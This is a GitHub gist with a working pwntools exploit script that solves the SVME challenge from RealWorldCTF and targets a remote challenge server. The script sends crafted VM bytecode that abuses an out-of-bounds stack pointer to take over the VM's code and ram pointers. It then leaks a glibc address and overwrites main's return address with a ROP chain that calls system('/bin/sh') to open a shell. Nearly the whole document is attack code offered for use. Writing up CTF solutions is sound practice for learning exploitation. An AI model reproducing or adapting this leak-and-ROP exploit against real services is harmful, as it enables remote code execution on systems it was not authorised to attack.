Skip to content

Instantly share code, notes, and snippets.

@dialluvioso
Created January 23, 2022 13:59
Show Gist options
  • Select an option

  • Save dialluvioso/e6812afdafc6766c79fdc96a839690a0 to your computer and use it in GitHub Desktop.

Select an option

Save dialluvioso/e6812afdafc6766c79fdc96a839690a0 to your computer and use it in GitHub Desktop.
Solution to SVME from RealWorldCTF
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
POP = 0x0f
PRINT = 0x0e
GSTORE = 0x0d
ICONST = 9
GLOAD = 0xb
STORE = 0xc
LOAD = 0xa
HALT = 18
IADD = 1
ISUB = 2
#context.log_level = "debug"
#io = remote("localhost", 1337) #remote("47.243.140.252", 1337)
io = remote("47.243.140.252", 1337)
sleep(0.5)
#io = process("./svme")
# force stdout buffer to be filled out, such that we can use the leaks
program = [ p32(PRINT) ] * 128
cnt = 0
def add_ins(ins):
global cnt
program[cnt] = p32(ins)
cnt = cnt + 1
def add_gstore(idx):
global cnt
program[cnt] = p32(GSTORE)
program[cnt+1] = p32(idx & 0xFFFFFFFF)
cnt += 2
def add_store(idx):
global cnt
program[cnt] = p32(STORE)
program[cnt+1] = p32(idx)
cnt += 2
def add_gload(idx):
global cnt
program[cnt] = p32(GLOAD)
program[cnt+1] = p32(idx & 0xFFFFFFFF)
cnt += 2
def add_load(idx):
global cnt
program[cnt] = p32(LOAD)
program[cnt+1] = p32(idx)
cnt += 2
def add_const(imm):
global cnt
program[cnt] = p32(ICONST)
program[cnt+1] = p32(imm)
cnt += 2
# struct vm
# {
# int *code;
# int ninst;
# int *ram;
# int ram_length;
# int stack[1000];
# int locals[100][11];
# };
#
# strategy:
# overwrite ram ptr such that points to vm "code" (stack)
# therefore we have an arbitrary read/write in the stack
add_ins(PRINT)
add_ins(PRINT)
add_ins(PRINT)
add_ins(PRINT)
add_ins(PRINT)
# at this point next stackptr-- will point oob to vm->code (stack ptr)
add_store(1) # save high dword in ram
add_store(0) # save low dword in ram
# smash vm->code again from ram, thus increment stackptr
add_load(0)
add_load(1)
# overwrite vm->insn
add_const(128)
add_const(0)
# overwrite vm->ram
add_load(0)
add_load(1)
# print glibc from main's stack frame
# 0x218 / 4 == 134
add_gload(134)
add_ins(PRINT)
add_gload(135)
add_ins(PRINT)
# overwrite main saved return address of current frame
# diff 0xc1d
# first load the low dword of the address and substract the offset
add_gload(-10)
add_const(0xc1d)
add_ins(ISUB)
# now smash low dword with the result
add_gstore(-10)
add_const(0)
add_const(0)
#add_ins(HALT)
p = b"".join(program)
assert(len(p) == 512)
io.send(p)
io.recvuntil("0021: gload 134 stack=[ ]\n")
lodword = int(io.recvline().split()[2]) & 0xFFFFFFFF
print(f"{lodword:#x}")
sleep(0.5)
io.recvline()
io.recvline()
line = int(io.recvline().split()[2])
sleep(0.5)
hidword = int(line)
print(f"{hidword:#x}")
dword = hidword << 32 | lodword
print(f"libc_main at {dword:#x}")
libc_main_off = 0x000000000026fc0+0xf3
#libc_main_off = 0x21bf7 # local
glibc = dword - libc_main_off
print(f"glibc mapped at {glibc:#x}")
# gadgets
pop_rdi = 0x0000000000026b72
#pop_rdi = 0x215bf # local
binsh = 0x1b75aa
#binsh = 0x1b3e1a # local
system = 0x000000000055410
#system = 0x4f550 # local
ret = pop_rdi+1
pop_rdi += glibc
binsh += glibc
system += glibc
ret += glibc
cnt = 0
add_ins(PRINT)
add_ins(PRINT)
add_ins(PRINT)
add_ins(PRINT)
add_ins(PRINT)
# at this point next stackptr-- will point oob to vm->code (stack ptr)
add_store(1) # save high dword in ram
add_store(0) # save low dword in ram
# smash vm->code again from ram, thus increment stackptr
add_load(0)
add_load(1)
# overwrite vm->insn
add_const(128)
add_const(0)
add_load(0)
add_load(1)
add_const(pop_rdi & 0xFFFFFFFF)
add_gstore(-10)
add_const(pop_rdi >> 32)
add_gstore(-9)
add_const(binsh & 0xFFFFFFFF)
add_gstore(-8)
add_const(binsh >> 32)
add_gstore(-7)
add_const(ret & 0xFFFFFFFF)
add_gstore(-6)
add_const(ret >> 32)
add_gstore(-5)
add_const(system & 0xFFFFFFFF)
add_gstore(-4)
add_const(system >> 32)
add_gstore(-3)
add_const(0)
add_const(0)
add_ins(HALT)
io.send(b"".join(program))
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment